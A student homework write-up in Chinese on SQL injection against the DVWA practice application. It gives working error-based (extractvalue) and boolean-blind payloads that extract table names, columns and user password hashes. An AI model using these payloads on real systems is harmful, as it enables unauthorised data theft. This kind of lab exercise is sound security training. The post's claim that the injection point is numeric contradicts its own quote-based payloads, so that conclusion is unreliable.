第七次作業

fjw0發表於2024-10-09

1、在不依賴於DVWA後端資料庫的情況,如何透過前端驗證的方法判斷DVWA中的注入點是數字型注入還是字元型注入?(提示:用假設法進行邏輯判斷)
1.輸入1 and 1=1查詢有兩種情況:
(1)數字型注入
輸入內容沒有被網站做任何處理,能查詢到
輸入內容被網站做任何處理,透過隱式轉換還是能言詢到
(2)字元型注入:查詢不到

2.輸入1 and 1=2查詢有兩種情況:
(1)數字型注入
輸入內容沒有被網站做任何處理,查詢不到
輸入內容被網站做任何處理,查詢到
(2)字元型注入:查詢不到

經過判斷,DVWA中的注入點是被網站經過處理的數字型注入
2、分別在前端和後端使用聯合注入實現“庫名-表名-欄位名-資料”的注入過程,寫清楚注入步驟。
判斷欄位數為2


爆庫名:


爆表名:


爆欄位:


查詢具體賬號密碼:


密碼md5解碼即可
3、分別在前端和後端使用報錯注入實現“庫名-表名-欄位名-資料”的注入過程,寫清楚注入步驟。
爆庫名:
在前端注入框輸入此程式碼1' and extractvalue(1,concat(0x7e,database()))#
如下圖


爆表名:
在前端注入框輸入此程式碼
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
如下圖


爆欄位:
在前端注入框輸入此程式碼
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)))#
如下圖


以此類推改變limit的值爆出所有欄位

查詢具體賬號密碼:
在前端注入框輸入此程式碼檢視賬號1' and extractvalue(1,concat(0x7e,(select user from users where user_id=1)))#


在前端注入框輸入此程式碼檢視密碼1' and extractvalue(1,concat(0x7e,(select password from users where user_id=1)))#


以此類推改變user_id的值爆出所有賬號密碼,密碼md5解碼即可

回答下列關於報錯注入的問題:
(1)在extractvalue函式中,為什麼'~'寫在引數1的位置不報錯,而寫在引數2的位置報錯?
引數1的位置為字串,引數2的位置是路徑,'~'是個字串寫在引數2不符合函式語法的規則引起的報錯
(2)報錯注入中,為什麼要突破單引號的限制,如何突破?
因為網站前端可能會過濾掉單引號,將原來的字元轉換成十六進位制
(3)在報錯注入過程中,為什麼要進行報錯,是哪種型別的報錯?
只要將查詢結果放在報錯資訊裡,即extractvalue函式報錯時會解析SQL語句,得到想要的結果,報錯型別是語法規則的報錯
4、任選布林盲注或者時間盲注在前端和後端實現“庫名-表名”的注入過程,寫清楚注入步驟。
布林盲注:
爆庫名:
先得知當前資料庫的長度
在前端注入框輸入程式碼判斷當前資料庫的長度1' and length(database())>5#


1' and length(database())>3#


1' and length(database())=4#


可判斷出當前所連線資料庫名稱的長度=4

在前端注入框輸入程式碼判斷出當前資料庫的第一個字母
1' and ascii(substr(database(),1,1))>98#


1' and ascii(substr(database(),1,1))>100#


1' and ascii(substr(database(),1,1))=100#


資料庫名稱的第一個字目對應的ASCII碼為100,查詢是字母 d
以此類推以上操作,分別猜解第2/3/4位元素的字母
1' and ascii(substr(database(),2,1))=118#


1' and ascii(substr(database(),3,1))=119#


1' and ascii(substr(database(),4,1))=97#


得知當前連線資料庫的名稱為:dvwa
爆表名:
在前端注入框輸入程式碼判斷當前資料庫表的個數
1' and (select count(table_name) from information_schema.tables where table_schema=database())>3#


1' and (select count(table_name) from information_schema.tables where table_schema=database())>2#


1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#


爆出dvwa資料庫中表的個數為2

在前端注入框輸入程式碼判斷當前資料庫第一張表的字元長度
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#


1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>8#


1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#


爆出dvwa資料庫中第一張表的名稱字元長度為9

在前端注入框輸入程式碼判斷出當前資料庫第一張表的第一個字母
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103#


1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103#


dvwa資料庫第一張表的第1個字元的ASCII碼=103,對應的字元為g,依次猜解出其他位置的字元分別為:u、e、s、t、b、o、o、k
從而dvwa資料庫第一張表的名稱為:guestbook
同樣步驟猜解出dvwa資料庫第二張表的名稱為:users

時間盲注:if(判斷條件,sleep(n),1)函式,若判斷條件為真,則執行sleep(n)函式,達到在正常響應時間
的基礎上再延遲響應時間n秒的效果。若判斷條件為假,則返回設定的1,此時不會執行sleep(n)函式。